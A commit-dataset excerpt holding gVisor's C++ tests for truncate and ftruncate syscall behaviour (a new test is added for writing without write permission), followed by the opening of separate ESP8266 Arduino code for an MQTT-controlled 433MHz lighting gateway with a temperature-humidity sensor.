http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <errno.h>\n#include <signal.h>\n#include <sys\/resource.h>\n#include <sys\/stat.h>\n#include <sys\/vfs.h>\n#include <time.h>\n#include <unistd.h>\n\n#include <iostream>\n#include <string>\n\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n#include \"absl\/strings\/string_view.h\"\n#include \"test\/syscalls\/linux\/file_base.h\"\n#include \"test\/util\/capability_util.h\"\n#include \"test\/util\/cleanup.h\"\n#include \"test\/util\/file_descriptor.h\"\n#include \"test\/util\/temp_path.h\"\n#include \"test\/util\/test_util.h\"\n\nnamespace gvisor {\nnamespace testing {\n\nnamespace {\n\nclass FixtureTruncateTest : public FileTest {\n void SetUp() override { FileTest::SetUp(); }\n};\n\nTEST_F(FixtureTruncateTest, Truncate) {\n \/\/ Get the current rlimit and restore after test run.\n struct rlimit initial_lim;\n ASSERT_THAT(getrlimit(RLIMIT_FSIZE, &initial_lim), SyscallSucceeds());\n auto cleanup = Cleanup([&initial_lim] {\n EXPECT_THAT(setrlimit(RLIMIT_FSIZE, &initial_lim), SyscallSucceeds());\n });\n\n \/\/ Check that it starts at size zero.\n struct stat buf;\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 0);\n\n \/\/ Stay at size zero.\n EXPECT_THAT(truncate(test_file_name_.c_str(), 0), SyscallSucceeds());\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 0);\n\n \/\/ Grow to ten bytes.\n EXPECT_THAT(truncate(test_file_name_.c_str(), 10), SyscallSucceeds());\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 10);\n\n \/\/ Can't be truncated to a negative number.\n EXPECT_THAT(truncate(test_file_name_.c_str(), -1),\n SyscallFailsWithErrno(EINVAL));\n\n \/\/ Try growing past the file size limit.\n sigset_t new_mask;\n sigemptyset(&new_mask);\n sigaddset(&new_mask, SIGXFSZ);\n sigprocmask(SIG_BLOCK, &new_mask, nullptr);\n struct timespec timelimit;\n timelimit.tv_sec = 10;\n timelimit.tv_nsec = 0;\n\n struct rlimit setlim;\n setlim.rlim_cur = 1024;\n setlim.rlim_max = RLIM_INFINITY;\n ASSERT_THAT(setrlimit(RLIMIT_FSIZE, &setlim), SyscallSucceeds());\n EXPECT_THAT(truncate(test_file_name_.c_str(), 1025),\n SyscallFailsWithErrno(EFBIG));\n EXPECT_EQ(sigtimedwait(&new_mask, nullptr, &timelimit), SIGXFSZ);\n ASSERT_THAT(sigprocmask(SIG_UNBLOCK, &new_mask, nullptr), SyscallSucceeds());\n\n \/\/ Shrink back down to zero.\n EXPECT_THAT(truncate(test_file_name_.c_str(), 0), SyscallSucceeds());\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 0);\n}\n\nTEST_F(FixtureTruncateTest, Ftruncate) {\n \/\/ Get the current rlimit and restore after test run.\n struct rlimit initial_lim;\n ASSERT_THAT(getrlimit(RLIMIT_FSIZE, &initial_lim), SyscallSucceeds());\n auto cleanup = Cleanup([&initial_lim] {\n EXPECT_THAT(setrlimit(RLIMIT_FSIZE, &initial_lim), SyscallSucceeds());\n });\n\n \/\/ Check that it starts at size zero.\n struct stat buf;\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 0);\n\n \/\/ Stay at size zero.\n EXPECT_THAT(ftruncate(test_file_fd_.get(), 0), SyscallSucceeds());\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 0);\n\n \/\/ Grow to ten bytes.\n EXPECT_THAT(ftruncate(test_file_fd_.get(), 10), SyscallSucceeds());\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 10);\n\n \/\/ Can't be truncated to a negative number.\n EXPECT_THAT(ftruncate(test_file_fd_.get(), -1),\n SyscallFailsWithErrno(EINVAL));\n\n \/\/ Try growing past the file size limit.\n sigset_t new_mask;\n sigemptyset(&new_mask);\n sigaddset(&new_mask, SIGXFSZ);\n sigprocmask(SIG_BLOCK, &new_mask, nullptr);\n struct timespec timelimit;\n timelimit.tv_sec = 10;\n timelimit.tv_nsec = 0;\n\n struct rlimit setlim;\n setlim.rlim_cur = 1024;\n setlim.rlim_max = RLIM_INFINITY;\n ASSERT_THAT(setrlimit(RLIMIT_FSIZE, &setlim), SyscallSucceeds());\n EXPECT_THAT(ftruncate(test_file_fd_.get(), 1025),\n SyscallFailsWithErrno(EFBIG));\n EXPECT_EQ(sigtimedwait(&new_mask, nullptr, &timelimit), SIGXFSZ);\n ASSERT_THAT(sigprocmask(SIG_UNBLOCK, &new_mask, nullptr), SyscallSucceeds());\n\n \/\/ Shrink back down to zero.\n EXPECT_THAT(ftruncate(test_file_fd_.get(), 0), SyscallSucceeds());\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 0);\n}\n\n\/\/ Truncating a file down clears that portion of the file.\nTEST_F(FixtureTruncateTest, FtruncateShrinkGrow) {\n std::vector<char> buf(10, 'a');\n EXPECT_THAT(WriteFd(test_file_fd_.get(), buf.data(), buf.size()),\n SyscallSucceedsWithValue(buf.size()));\n\n \/\/ Shrink then regrow the file. This should clear the second half of the file.\n EXPECT_THAT(ftruncate(test_file_fd_.get(), 5), SyscallSucceeds());\n EXPECT_THAT(ftruncate(test_file_fd_.get(), 10), SyscallSucceeds());\n\n EXPECT_THAT(lseek(test_file_fd_.get(), 0, SEEK_SET), SyscallSucceeds());\n\n std::vector<char> buf2(10);\n EXPECT_THAT(ReadFd(test_file_fd_.get(), buf2.data(), buf2.size()),\n SyscallSucceedsWithValue(buf2.size()));\n\n std::vector<char> expect = {'a', 'a', 'a', 'a', 'a',\n '\\0', '\\0', '\\0', '\\0', '\\0'};\n EXPECT_EQ(expect, buf2);\n}\n\nTEST(TruncateTest, TruncateDir) {\n auto temp_dir = ASSERT_NO_ERRNO_AND_VALUE(TempPath::CreateDir());\n EXPECT_THAT(truncate(temp_dir.path().c_str(), 0),\n SyscallFailsWithErrno(EISDIR));\n}\n\nTEST(TruncateTest, FtruncateDir) {\n auto temp_dir = ASSERT_NO_ERRNO_AND_VALUE(TempPath::CreateDir());\n const FileDescriptor fd =\n ASSERT_NO_ERRNO_AND_VALUE(Open(temp_dir.path(), O_DIRECTORY | O_RDONLY));\n EXPECT_THAT(ftruncate(fd.get(), 0), SyscallFailsWithErrno(EINVAL));\n}\n\nTEST(TruncateTest, TruncateNonWriteable) {\n \/\/ Make sure we don't have CAP_DAC_OVERRIDE, since that allows the user to\n \/\/ always override write permissions.\n ASSERT_NO_ERRNO(SetCapability(CAP_DAC_OVERRIDE, false));\n auto temp_file = ASSERT_NO_ERRNO_AND_VALUE(TempPath::CreateFileWith(\n GetAbsoluteTestTmpdir(), absl::string_view(), 0555 \/* mode *\/));\n EXPECT_THAT(truncate(temp_file.path().c_str(), 0),\n SyscallFailsWithErrno(EACCES));\n}\n\nTEST(TruncateTest, FtruncateNonWriteable) {\n auto temp_file = ASSERT_NO_ERRNO_AND_VALUE(TempPath::CreateFileWith(\n GetAbsoluteTestTmpdir(), absl::string_view(), 0555 \/* mode *\/));\n const FileDescriptor fd =\n ASSERT_NO_ERRNO_AND_VALUE(Open(temp_file.path(), O_RDONLY));\n EXPECT_THAT(ftruncate(fd.get(), 0), SyscallFailsWithErrno(EINVAL));\n}\n\nTEST(TruncateTest, TruncateNonExist) {\n EXPECT_THAT(truncate(\"\/foo\/bar\", 0), SyscallFailsWithErrno(ENOENT));\n}\n\nTEST(TruncateTest, FtruncateVirtualTmp_NoRandomSave) {\n auto temp_file = NewTempAbsPathInDir(\"\/dev\/shm\");\n const DisableSave ds; \/\/ Incompatible permissions.\n const FileDescriptor fd =\n ASSERT_NO_ERRNO_AND_VALUE(Open(temp_file, O_RDWR | O_CREAT | O_EXCL, 0));\n EXPECT_THAT(ftruncate(fd.get(), 100), SyscallSucceeds());\n}\n\n\/\/ NOTE: There are additional truncate(2)\/ftruncate(2) tests in mknod.cc\n\/\/ which are there to avoid running the tests on a number of different\n\/\/ filesystems which may not support mknod.\n\n} \/\/ namespace\n\n} \/\/ namespace testing\n} \/\/ namespace gvisor\n<commit_msg>Add ftruncate test for writeable fd but no write permissions.<commit_after>\/\/ Copyright 2018 The gVisor Authors.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <errno.h>\n#include <signal.h>\n#include <sys\/resource.h>\n#include <sys\/stat.h>\n#include <sys\/vfs.h>\n#include <time.h>\n#include <unistd.h>\n\n#include <iostream>\n#include <string>\n\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n#include \"absl\/strings\/string_view.h\"\n#include \"test\/syscalls\/linux\/file_base.h\"\n#include \"test\/util\/capability_util.h\"\n#include \"test\/util\/cleanup.h\"\n#include \"test\/util\/file_descriptor.h\"\n#include \"test\/util\/temp_path.h\"\n#include \"test\/util\/test_util.h\"\n\nnamespace gvisor {\nnamespace testing {\n\nnamespace {\n\nclass FixtureTruncateTest : public FileTest {\n void SetUp() override { FileTest::SetUp(); }\n};\n\nTEST_F(FixtureTruncateTest, Truncate) {\n \/\/ Get the current rlimit and restore after test run.\n struct rlimit initial_lim;\n ASSERT_THAT(getrlimit(RLIMIT_FSIZE, &initial_lim), SyscallSucceeds());\n auto cleanup = Cleanup([&initial_lim] {\n EXPECT_THAT(setrlimit(RLIMIT_FSIZE, &initial_lim), SyscallSucceeds());\n });\n\n \/\/ Check that it starts at size zero.\n struct stat buf;\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 0);\n\n \/\/ Stay at size zero.\n EXPECT_THAT(truncate(test_file_name_.c_str(), 0), SyscallSucceeds());\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 0);\n\n \/\/ Grow to ten bytes.\n EXPECT_THAT(truncate(test_file_name_.c_str(), 10), SyscallSucceeds());\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 10);\n\n \/\/ Can't be truncated to a negative number.\n EXPECT_THAT(truncate(test_file_name_.c_str(), -1),\n SyscallFailsWithErrno(EINVAL));\n\n \/\/ Try growing past the file size limit.\n sigset_t new_mask;\n sigemptyset(&new_mask);\n sigaddset(&new_mask, SIGXFSZ);\n sigprocmask(SIG_BLOCK, &new_mask, nullptr);\n struct timespec timelimit;\n timelimit.tv_sec = 10;\n timelimit.tv_nsec = 0;\n\n struct rlimit setlim;\n setlim.rlim_cur = 1024;\n setlim.rlim_max = RLIM_INFINITY;\n ASSERT_THAT(setrlimit(RLIMIT_FSIZE, &setlim), SyscallSucceeds());\n EXPECT_THAT(truncate(test_file_name_.c_str(), 1025),\n SyscallFailsWithErrno(EFBIG));\n EXPECT_EQ(sigtimedwait(&new_mask, nullptr, &timelimit), SIGXFSZ);\n ASSERT_THAT(sigprocmask(SIG_UNBLOCK, &new_mask, nullptr), SyscallSucceeds());\n\n \/\/ Shrink back down to zero.\n EXPECT_THAT(truncate(test_file_name_.c_str(), 0), SyscallSucceeds());\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 0);\n}\n\nTEST_F(FixtureTruncateTest, Ftruncate) {\n \/\/ Get the current rlimit and restore after test run.\n struct rlimit initial_lim;\n ASSERT_THAT(getrlimit(RLIMIT_FSIZE, &initial_lim), SyscallSucceeds());\n auto cleanup = Cleanup([&initial_lim] {\n EXPECT_THAT(setrlimit(RLIMIT_FSIZE, &initial_lim), SyscallSucceeds());\n });\n\n \/\/ Check that it starts at size zero.\n struct stat buf;\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 0);\n\n \/\/ Stay at size zero.\n EXPECT_THAT(ftruncate(test_file_fd_.get(), 0), SyscallSucceeds());\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 0);\n\n \/\/ Grow to ten bytes.\n EXPECT_THAT(ftruncate(test_file_fd_.get(), 10), SyscallSucceeds());\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 10);\n\n \/\/ Can't be truncated to a negative number.\n EXPECT_THAT(ftruncate(test_file_fd_.get(), -1),\n SyscallFailsWithErrno(EINVAL));\n\n \/\/ Try growing past the file size limit.\n sigset_t new_mask;\n sigemptyset(&new_mask);\n sigaddset(&new_mask, SIGXFSZ);\n sigprocmask(SIG_BLOCK, &new_mask, nullptr);\n struct timespec timelimit;\n timelimit.tv_sec = 10;\n timelimit.tv_nsec = 0;\n\n struct rlimit setlim;\n setlim.rlim_cur = 1024;\n setlim.rlim_max = RLIM_INFINITY;\n ASSERT_THAT(setrlimit(RLIMIT_FSIZE, &setlim), SyscallSucceeds());\n EXPECT_THAT(ftruncate(test_file_fd_.get(), 1025),\n SyscallFailsWithErrno(EFBIG));\n EXPECT_EQ(sigtimedwait(&new_mask, nullptr, &timelimit), SIGXFSZ);\n ASSERT_THAT(sigprocmask(SIG_UNBLOCK, &new_mask, nullptr), SyscallSucceeds());\n\n \/\/ Shrink back down to zero.\n EXPECT_THAT(ftruncate(test_file_fd_.get(), 0), SyscallSucceeds());\n ASSERT_THAT(fstat(test_file_fd_.get(), &buf), SyscallSucceeds());\n EXPECT_EQ(buf.st_size, 0);\n}\n\n\/\/ Truncating a file down clears that portion of the file.\nTEST_F(FixtureTruncateTest, FtruncateShrinkGrow) {\n std::vector<char> buf(10, 'a');\n EXPECT_THAT(WriteFd(test_file_fd_.get(), buf.data(), buf.size()),\n SyscallSucceedsWithValue(buf.size()));\n\n \/\/ Shrink then regrow the file. This should clear the second half of the file.\n EXPECT_THAT(ftruncate(test_file_fd_.get(), 5), SyscallSucceeds());\n EXPECT_THAT(ftruncate(test_file_fd_.get(), 10), SyscallSucceeds());\n\n EXPECT_THAT(lseek(test_file_fd_.get(), 0, SEEK_SET), SyscallSucceeds());\n\n std::vector<char> buf2(10);\n EXPECT_THAT(ReadFd(test_file_fd_.get(), buf2.data(), buf2.size()),\n SyscallSucceedsWithValue(buf2.size()));\n\n std::vector<char> expect = {'a', 'a', 'a', 'a', 'a',\n '\\0', '\\0', '\\0', '\\0', '\\0'};\n EXPECT_EQ(expect, buf2);\n}\n\nTEST(TruncateTest, TruncateDir) {\n auto temp_dir = ASSERT_NO_ERRNO_AND_VALUE(TempPath::CreateDir());\n EXPECT_THAT(truncate(temp_dir.path().c_str(), 0),\n SyscallFailsWithErrno(EISDIR));\n}\n\nTEST(TruncateTest, FtruncateDir) {\n auto temp_dir = ASSERT_NO_ERRNO_AND_VALUE(TempPath::CreateDir());\n const FileDescriptor fd =\n ASSERT_NO_ERRNO_AND_VALUE(Open(temp_dir.path(), O_DIRECTORY | O_RDONLY));\n EXPECT_THAT(ftruncate(fd.get(), 0), SyscallFailsWithErrno(EINVAL));\n}\n\nTEST(TruncateTest, TruncateNonWriteable) {\n \/\/ Make sure we don't have CAP_DAC_OVERRIDE, since that allows the user to\n \/\/ always override write permissions.\n ASSERT_NO_ERRNO(SetCapability(CAP_DAC_OVERRIDE, false));\n auto temp_file = ASSERT_NO_ERRNO_AND_VALUE(TempPath::CreateFileWith(\n GetAbsoluteTestTmpdir(), absl::string_view(), 0555 \/* mode *\/));\n EXPECT_THAT(truncate(temp_file.path().c_str(), 0),\n SyscallFailsWithErrno(EACCES));\n}\n\nTEST(TruncateTest, FtruncateNonWriteable) {\n auto temp_file = ASSERT_NO_ERRNO_AND_VALUE(TempPath::CreateFileWith(\n GetAbsoluteTestTmpdir(), absl::string_view(), 0555 \/* mode *\/));\n const FileDescriptor fd =\n ASSERT_NO_ERRNO_AND_VALUE(Open(temp_file.path(), O_RDONLY));\n EXPECT_THAT(ftruncate(fd.get(), 0), SyscallFailsWithErrno(EINVAL));\n}\n\n\/\/ ftruncate(2) should succeed as long as the file descriptor is writeable,\n\/\/ regardless of whether the file permissions allow writing.\nTEST(TruncateTest, FtruncateWithoutWritePermission_NoRandomSave) {\n \/\/ Drop capabilities that allow us to override file permissions.\n ASSERT_NO_ERRNO(SetCapability(CAP_DAC_OVERRIDE, false));\n\n \/\/ The only time we can open a file with flags forbidden by its permissions\n \/\/ is when we are creating the file. We cannot re-open with the same flags,\n \/\/ so we cannot restore an fd obtained from such an operation.\n const DisableSave ds;\n auto path = NewTempAbsPath();\n const FileDescriptor fd =\n ASSERT_NO_ERRNO_AND_VALUE(Open(path, O_RDWR | O_CREAT, 0444));\n\n \/\/ In goferfs, ftruncate may be converted to a remote truncate operation that\n \/\/ unavoidably requires write permission.\n SKIP_IF(IsRunningOnGvisor() && !ASSERT_NO_ERRNO_AND_VALUE(IsTmpfs(path)));\n ASSERT_THAT(ftruncate(fd.get(), 100), SyscallSucceeds());\n}\n\nTEST(TruncateTest, TruncateNonExist) {\n EXPECT_THAT(truncate(\"\/foo\/bar\", 0), SyscallFailsWithErrno(ENOENT));\n}\n\nTEST(TruncateTest, FtruncateVirtualTmp_NoRandomSave) {\n auto temp_file = NewTempAbsPathInDir(\"\/dev\/shm\");\n const DisableSave ds; \/\/ Incompatible permissions.\n const FileDescriptor fd =\n ASSERT_NO_ERRNO_AND_VALUE(Open(temp_file, O_RDWR | O_CREAT | O_EXCL, 0));\n EXPECT_THAT(ftruncate(fd.get(), 100), SyscallSucceeds());\n}\n\n\/\/ NOTE: There are additional truncate(2)\/ftruncate(2) tests in mknod.cc\n\/\/ which are there to avoid running the tests on a number of different\n\/\/ filesystems which may not support mknod.\n\n} \/\/ namespace\n\n} \/\/ namespace testing\n} \/\/ namespace gvisor\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************\n Lighting Controller\n Richard Huish 2016\n ESP8266 based with local home-assistant.io GUI,\n 433Mhz transmitter for lighting control\n and DHT22 temperature-humidity sensor\n ----------\n Key Libraries:\n ESP8266WiFi.h> https:\/\/github.com\/esp8266\/Arduino\n RCSwitch.h https:\/\/github.com\/sui77\/rc-switch\n DHT.h https:\/\/github.com\/adafruit\/DHT-sensor-library\n Adafruit_Sensor.g https:\/\/github.com\/adafruit\/Adafruit_Sensor required for DHT.h\n ----------\n GUI: Locally hosted home assistant\n MQTT: Locally hosted broker https:\/\/mosquitto.org\/\n ----------\n The circuit:\n NodeMCU Amica (ESP8266)\n Inputs:\n DHT22 temperature-humidity sensor - GPIO pin 5 (NodeMCU Pin D1)\n Outputs:\n 433Mhz Transmitter - GPIO pin 2 (NODEMCU Pin D4)\n LED_NODEMCU - pin 16 (NodeMCU Pin D0)\n LED_ESP - GPIO pin 2 (NodeMCU Pin D4) (Shared with 433Mhz TX)\n ----------\n Notes:\n NodeMCU lED lights to show MQTT conenction.\n ESP lED lights to show WIFI conenction.\n\n****************************************************\/\n\n\/\/ Note: Libaries are inluced in \"Project Dependencies\" file platformio.ini\n#include <ESP8266WiFi.h> \/\/ ESP8266 core for Arduino https:\/\/github.com\/esp8266\/Arduino\n#include <PubSubClient.h> \/\/ Arduino Client for MQTT https:\/\/github.com\/knolleary\/pubsubclient\n#include <RCSwitch.h> \/\/ https:\/\/github.com\/sui77\/rc-switch\n#include <DHT.h> \/\/ https:\/\/github.com\/adafruit\/DHT-sensor-library\n#include <Adafruit_Sensor.h> \/\/ have to add for the DHT to work https:\/\/github.com\/adafruit\/Adafruit_Sensor\n#include <secretes.h> \/\/ Passwords etc not for github\n\n\n\/\/ DHT sensor parameters\n#define DHTPIN 5 \/\/ GPIO pin 5 (NodeMCU Pin D1)\n#define DHTTYPE DHT22\n\n\/\/ DHT sensor instance\nDHT dht(DHTPIN, DHTTYPE, 15);\n\n\/\/ WiFi parameters\nconst char* wifi_ssid = secrete_wifi_ssid; \/\/ Wifi access point SSID\nconst char* wifi_password = secrete_wifi_password; \/\/ Wifi access point password\n\n\/\/ 433Mhz transmitter parameters\nconst int tx433Mhz_pin = 2; \/\/ GPIO pin 2 (NODEMCU Pin D4)\nconst int setPulseLength = 305;\n\n\/\/ 433MHZ TX instance\nRCSwitch mySwitch = RCSwitch();\n\n\/\/ MQTT Settings\nconst char* mqtt_server = secrete_mqtt_server; \/\/ E.G. 192.168.1.xx\nconst char* clientName = secrete_clientName; \/\/ Client to report to MQTT\nconst char* mqtt_username = secrete_mqtt_username; \/\/ MQTT Username\nconst char* mqtt_password = secrete_mqtt_password; \/\/ MQTT Password\nboolean willRetain = true; \/\/ MQTT Last Will and Testament\nconst char* willMessage = \"offline\"; \/\/ MQTT Last Will and Testament Message\n\n\/\/ Subscribe\nconst char* subscribeLightingGatewayTopic = secrete_subscribeLightingGatewayTopic; \/\/ E.G. Home\/LightingGateway\/transmit\n\/\/ Publish\nconst char* publishTemperatureTopic = secrete_publishTemperatureTopic; \/\/ E.G. Home\/Room\/temperature\nconst char* publishHumidityTopic = secrete_publishHumidityTopic; \/\/ E.G. Home\/Room\/humidity\nconst char* publishLastWillTopic = secrete_publishLastWillTopic; \/\/ E.G. Home\/LightingGateway\/status\"\nconst char* publishClientName = secrete_publishClientName; \/\/ E.G. Home\/LightingGateway\/status\"\nconst char* publishIpAddress = secrete_publishIpAddress; \/\/ E.G. Home\/LightingGateway\/status\"\nconst char* publishSignalStrength = secrete_publishSignalStrength; \/\/ E.G. Home\/LightingGateway\/status\"\nconst char* publishHostName = secrete_publishHostName; \/\/ E.G. Home\/LightingGateway\/status\"\n\n\/\/ MQTT instance\nWiFiClient espClient;\nPubSubClient mqttClient(espClient);\nchar message_buff[100];\nlong lastReconnectAttempt = 0; \/\/ Reconnecting MQTT - non-blocking https:\/\/github.com\/knolleary\/pubsubclient\/blob\/master\/examples\/mqtt_reconnect_nonblocking\/mqtt_reconnect_nonblocking.ino\n\n\/\/ MQTT publish frequency\nunsigned long previousMillis = 0;\nconst long publishInterval = 60000; \/\/ Publish requency in milliseconds 60000 = 1 min\n\n\/\/ LED output parameters\nconst int DIGITAL_PIN_LED_ESP = 2; \/\/ Define LED on ESP8266 sub-modual\nconst int DIGITAL_PIN_LED_NODEMCU = 16; \/\/ Define LED on NodeMCU board - Lights on pin LOW\n\n\n\/\/ Setp the connection to WIFI and the MQTT Broker. Normally called only once from setup\nvoid setup_wifi() {\n \/* Explicitly set the ESP8266 to be a WiFi-client, otherwise, it by default,\n would try to act as both a client and an access-point and could cause\n network-issues with your other WiFi-devices on your WiFi-network. *\/\n WiFi.mode(WIFI_STA);\n\n \/\/ Connect to a WiFi network\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.print(wifi_ssid);\n WiFi.begin(wifi_ssid, wifi_password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(250);\n Serial.print(\".\");\n }\n Serial.print(\"\");\n Serial.println(\"WiFi connected\");\n\n Serial.printf(\"RSSI: %d dBm\\n\", WiFi.RSSI());\n Serial.print(\"Connected, IP address: \");\n Serial.println(WiFi.localIP());\n Serial.printf(\"Hostname: %s\\n\", WiFi.hostname().c_str());\n\n digitalWrite(DIGITAL_PIN_LED_NODEMCU, LOW); \/\/ Lights on LOW. Light the NodeMCU LED to show wifi connection.\n}\n\n\/\/ 433Mhz Gatway\nvoid transmit433Msg(int msgToSend) {\n \/\/ Acknowledgements\n \/\/ thisoldgeek\/ESP8266-RCSwitch\n \/\/ https:\/\/github.com\/thisoldgeek\/ESP8266-RCSwitch\n \/\/ Find the codes for your RC Switch using https:\/\/github.com\/ninjablocks\/433Utils (RF_Sniffer.ino)\n \/\/ sui77\/rc-switch\n \/\/ https:\/\/github.com\/sui77\/rc-switch\/tree\/c5645170be8cb3044f4a8ca8565bfd2d221ba182\n mySwitch.send(msgToSend, 24);\n Serial.println(F(\"433Mhz TX command sent!\"));\n\n}\n\n\n\n\/\/ MQTT payload to transmit via out gateway\nvoid mqttcallback(char* topic, byte* payload, unsigned int length) {\n \/\/If you want to publish a message from within the message callback function, it is necessary to make a copy of the topic and payload values as the client uses the same internal buffer for inbound and outbound messages:\n \/\/http:\/\/www.hivemq.com\/blog\/mqtt-client-library-encyclopedia-arduino-pubsubclient\/\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n\n\n \/\/ create character buffer with ending null terminator (string)\n int i = 0;\n for (i = 0; i < length; i++) {\n message_buff[i] = payload[i];\n }\n message_buff[i] = '\\0';\n \/\/ Check the value of the message\n String msgString = String(message_buff);\n Serial.println(msgString);\n\n \/\/ Check the message topic\n String srtTopic = topic;\n\n if (srtTopic.equals(subscribeLightingGatewayTopic)) {\n\n int msgSend = msgString.toInt();\n \/\/do the transmittt\n transmit433Msg(msgSend);\n delay(500);\n\n }\n}\n\n\/*\n Non-Blocking mqtt reconnect.\n Called from checkMqttConnection.\n*\/\nboolean mqttReconnect() {\n \/\/ Call on the background functions to allow them to do their thing\n yield();\n \/\/ Attempt to connect\n if (mqttClient.connect(clientName, mqtt_username, mqtt_password, publishLastWillTopic, 0, willRetain, willMessage)) {\n\n Serial.print(\"Attempting MQTT connection...\");\n\n \/\/ Once connected, update status to online, retained = true - last will Message will drop in if we go offline ...\n mqttClient.publish(publishLastWillTopic, \"online\", true);\n\n \/\/ Publish device name, retained = true\n mqttClient.publish(publishClientName, clientName, true);\n\n \/\/ Publish device IP Address, retained = true\n char buf[16];\n sprintf(buf, \"%d.%d.%d.%d\", WiFi.localIP()[0], WiFi.localIP()[1], WiFi.localIP()[2], WiFi.localIP()[3] );\n mqttClient.publish(publishIpAddress, buf, true);\n\n\n \/\/ Publish the Wi-Fi signal quality (RSSI), retained = true\n String tempVar = String(WiFi.RSSI());\n mqttClient.publish(publishSignalStrength, tempVar.c_str(), true);\n\n \/\/ Publish the device DHCP hostname, retained = true\n mqttClient.publish(publishHostName, WiFi.hostname().c_str(), true);\n\n\n\n \/\/ Resubscribe to feeds\n mqttClient.subscribe(subscribeLightingGatewayTopic);\n\n Serial.println(\"connected\");\n\n\n\n } else {\n Serial.print(\"Failed MQTT connection, rc=\");\n Serial.print(mqttClient.state());\n Serial.println(\" try in 1.5 seconds\");\n }\n return mqttClient.connected();\n}\n\n\/*\n Checks if connection to the MQTT server is ok. Client connected\n using a non-blocking reconnect function. If the client loses\n its connection, it attempts to reconnect every 5 seconds\n without blocking the main loop.\n Called from main loop.\n*\/\nvoid checkMqttConnection() {\n if (!mqttClient.connected()) {\n \/\/ We are not connected. Turn off the wifi LED\n digitalWrite(DIGITAL_PIN_LED_ESP, HIGH); \/\/ Lights on LOW\n long now = millis();\n if (now - lastReconnectAttempt > 5000) {\n lastReconnectAttempt = now;\n \/\/ Attempt to reconnect\n if (mqttReconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n } else {\n \/\/ We are connected.\n digitalWrite(DIGITAL_PIN_LED_ESP, LOW); \/\/ Lights on LOW\n \/\/call on the background functions to allow them to do their thing.\n yield();\n \/\/ Client connected: MQTT client loop processing\n mqttClient.loop();\n }\n}\n\nvoid mtqqPublish() {\n\n \/\/ Only run when publishInterval in milliseonds exspires\n unsigned long currentMillis = millis();\n \/\/ CODE TO MOVE TO functions\n if (currentMillis - previousMillis >= publishInterval) {\n \/\/ save the last time this ran\n previousMillis = currentMillis;\n if (mqttClient.connected()) {\n\n \/\/ Publish data\n\n \/\/ Publish the Wi-Fi signal quality (RSSI)\n String tempVar = String(WiFi.RSSI());\n mqttClient.publish(publishSignalStrength, tempVar.c_str());\n Serial.printf(\"RSSI: %d dBm\\n\", WiFi.RSSI());\n\n \/\/ Grab the current state of the sensor\n String strTemp = String(dht.readTemperature()); \/\/Could use String(dht.readTemperature()).c_str()) to do it all in one line\n if (!mqttClient.publish(publishTemperatureTopic, String(dht.readTemperature()).c_str())) \/\/ Convert dht.readTemperature() to string object, then to char array.\n Serial.print(F(\"Failed to published to [\")), Serial.print(publishTemperatureTopic), Serial.print(\"] \");\n else\n Serial.print(F(\"Temperature published to [\")), Serial.print(publishTemperatureTopic), Serial.println(\"] \");\n\n String strHumi = String(dht.readHumidity());\n if (!mqttClient.publish(publishHumidityTopic, strHumi.c_str()))\n Serial.print(F(\"Failed to humidity to [\")), Serial.print(publishHumidityTopic), Serial.print(\"] \");\n else\n Serial.print(F(\"Humidity published to [\")), Serial.print(publishHumidityTopic), Serial.println(\"] \");\n\n }\n }\n}\n\n\nvoid setup() {\n \/\/ Initialize pins\n pinMode(DIGITAL_PIN_LED_NODEMCU, OUTPUT);\n pinMode(DIGITAL_PIN_LED_ESP, 